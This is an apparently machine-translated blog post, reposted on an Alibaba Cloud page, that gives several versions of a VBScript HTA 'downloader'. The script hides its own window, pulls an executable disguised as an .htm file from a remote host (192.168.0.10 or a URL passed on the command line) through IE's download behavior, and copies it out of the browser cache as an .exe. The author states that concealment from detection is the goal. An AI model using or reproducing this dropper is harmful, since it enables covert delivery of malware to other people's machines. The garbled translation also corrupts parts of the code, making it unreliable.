Be a tough hta downloader

Source: Internet
Author: User

1. There are two novel vbs Downloaders on this blog. One is made of the CDO. Message component and the other is made of Microsoft. XMLDOM. For details, see http://www.jb51.net/article/15506.htm. One of the two Downloaders is difficult to use and needs to convert the exe file in advance. Second, cscript.exe accesses the network, which is not concealed. Second, some machines do not have these two components and use them to ADODB. Stream, so there are some drawbacks.
2. Let's talk about lake2 download by http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx. This downloader is good, but there are also problems. One is that if other browsers such as 360 are installed, an ie window will be opened and the ie cache location read from the registry is not necessarily accurate.
3. How can we update these defects?There is still a solution. We use HTA to write, so we can see that .hh.exe is generally allowed to access the network. The downloader has several difficulties to solve:

(1) make hta invisible ------------- simple, move the window
(2) Enable hta to receive command line parameters --------------.
(3). Do not call all the components mentioned in item one or two above ---------. We use the default behavior of ie.
(4). Temporary location of ie cache --------- environment variable I used
(5) We do not need to call any components -----------------.
4. Code (directly write the parameter in hta) Copy codeThe Code is as follows: <script language = vbs>
Window. moveTo 4000,4000
Window. resizeTo 0, 0 'makes hta invisible
Set objshell = Createobject ("WScript. Shell") 'hta can directly call WScript. Shell, but wscript. Createobject ("WScript. Shell") cannot be called ")
Downpath = objshell. ExpandEnvironmentStrings ("% USERPROFILE %") & "\ Local Settings" 'Get the download path based on the Environment Variables
Set xml = document. createElement ("xml") 'default behavior for the xml element to call ie
Xml. addBehavior ("# default # DownLoad ")
Xml. async = 0
Xml. load ("http: // 192.168.0.10/xx.htm") 'Please change the name of the exe file to the space. If you upload it using ftp software, it may not work. It is better to put it directly.
ShowAllFile (downpath)
Sub ShowAllFile (Path) 'traverses the search and uses the lake2 Code directly.
FindFileName = "xx00001).htm" 'is also your correct one. If the top side is xx.htm, then xx00001).htm
Set FSO = CreateObject ("Scripting. FileSystemObject ")
Set f = FSO. GetFolder (Path)
Set fc = f. SubFolders
For Each f1 in fc
If FSO. FileExists (path & "\" & f1.name & "\" & FindFileName) Then
FSO. CopyFile path & "\" & f1.name & "\" & FindFileName, "c: \ 111.exe" 'is saved to c: \ 111.exe, which can be modified as needed
'Document. write "[+] Download Success! "
End If
ShowAllFile path & "\" & f1.name
Next
Set FSO = Nothing

End Sub
Window. close
</Script>

Usage: Rename exebetter than xx.exe to the space, and then run the command line or double-click the hta.
5. Another Code (passing command line parameters)
I personally think the fourth part of the code is better. Just modify it. If you call the command line parameters, I find that the hta window still appears and is closed only after downloading. Therefore, this is not very good. Code:Copy codeThe Code is as follows: <HTA: APPLICATION
ID = "MySampleHTA"
Caption = "yes">
<Script language = vbs>
On error resume Next
Window. moveTo 4000,4000
Window. resizeTo 0, 0 'makes hta invisible
Export linearray = Split (MySampleHTA. commandLine) '. This changes the parameters in the command to an array.
Set objshell = Createobject ("WScript. Shell ")
Downpath = objshell. ExpandEnvironmentStrings ("% USERPROFILE %") & "\ Local Settings" 'Get the download path based on the Environment Variables
Temp = LastOne (cmdLineArray (UBound (cmdLineArray), "/") 'Get the current file name from the command line
Temp = split (temp, ".") '.
FindFileName = temp (0) & "[1]." & temp (1)
LocalName = objshell. CurrentDirectory & "\" & temp (0) & ". exe"
Set xml = document. createElement ("xml ")
Xml. addBehavior ("# default # DownLoad ")
Xml. async = 0
Xml. load (cmdLineArray (UBound (cmdLineArray )))

ShowAllFile (downpath)
Sub ShowAllFile (Path)
Set FSO = CreateObject ("Scripting. FileSystemObject ")
Set f = FSO. GetFolder (Path)
Set fc = f. SubFolders
For Each f1 in fc
If FSO. FileExists (path & "\" & f1.name & "\" & FindFileName) Then
FSO. CopyFile path & "\" & f1.name & "\" & FindFileName, LocalName
'Document. write "[+] Download Success! "
End If
ShowAllFile path & "\" & f1.name
Next
Set FSO = Nothing

End Sub
Function LastOne (Str, splitStr)
'Enter the character and separator to get the last part
LastOne = right (Str, len (Str)-faster Rev (Str, splitStr ))
End Function
Window. close
</Script>

The usage is: Put execompare xx.exerename xx.htm to the space, and then the command line is like "c: \ xx. hta http://www.target.com/xx.htm", this kind of xx.exe will save to c:
If you do not use any components (manually search for the downloaded xx1_1).htm ):
Copy codeThe Code is as follows: window. moveTo 4000,4000
Window. resizeTo 0, 0 'makes hta invisible
Set xml = document. createElement ("xml") 'default behavior for the xml element to call ie
Xml. addBehavior ("# default # DownLoad ")
Xml. async = 0
Xml. load ("http: // 192.168.0.10/xx.htm ")'
Window. close

VII. Disadvantages
My hta downloader is not perfect. The first reason is that I used ExpandEnvironmentStrings ("% USERPROFILE %") to download the temporary variable, which is available in the user environment. It may be abnormal if it is a system permission (I guess, not tested ). The second reason is that there is no prompt after the download is successful. It is troublesome to directly use hta to display the echo in the command line, so I didn't do it, hey.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.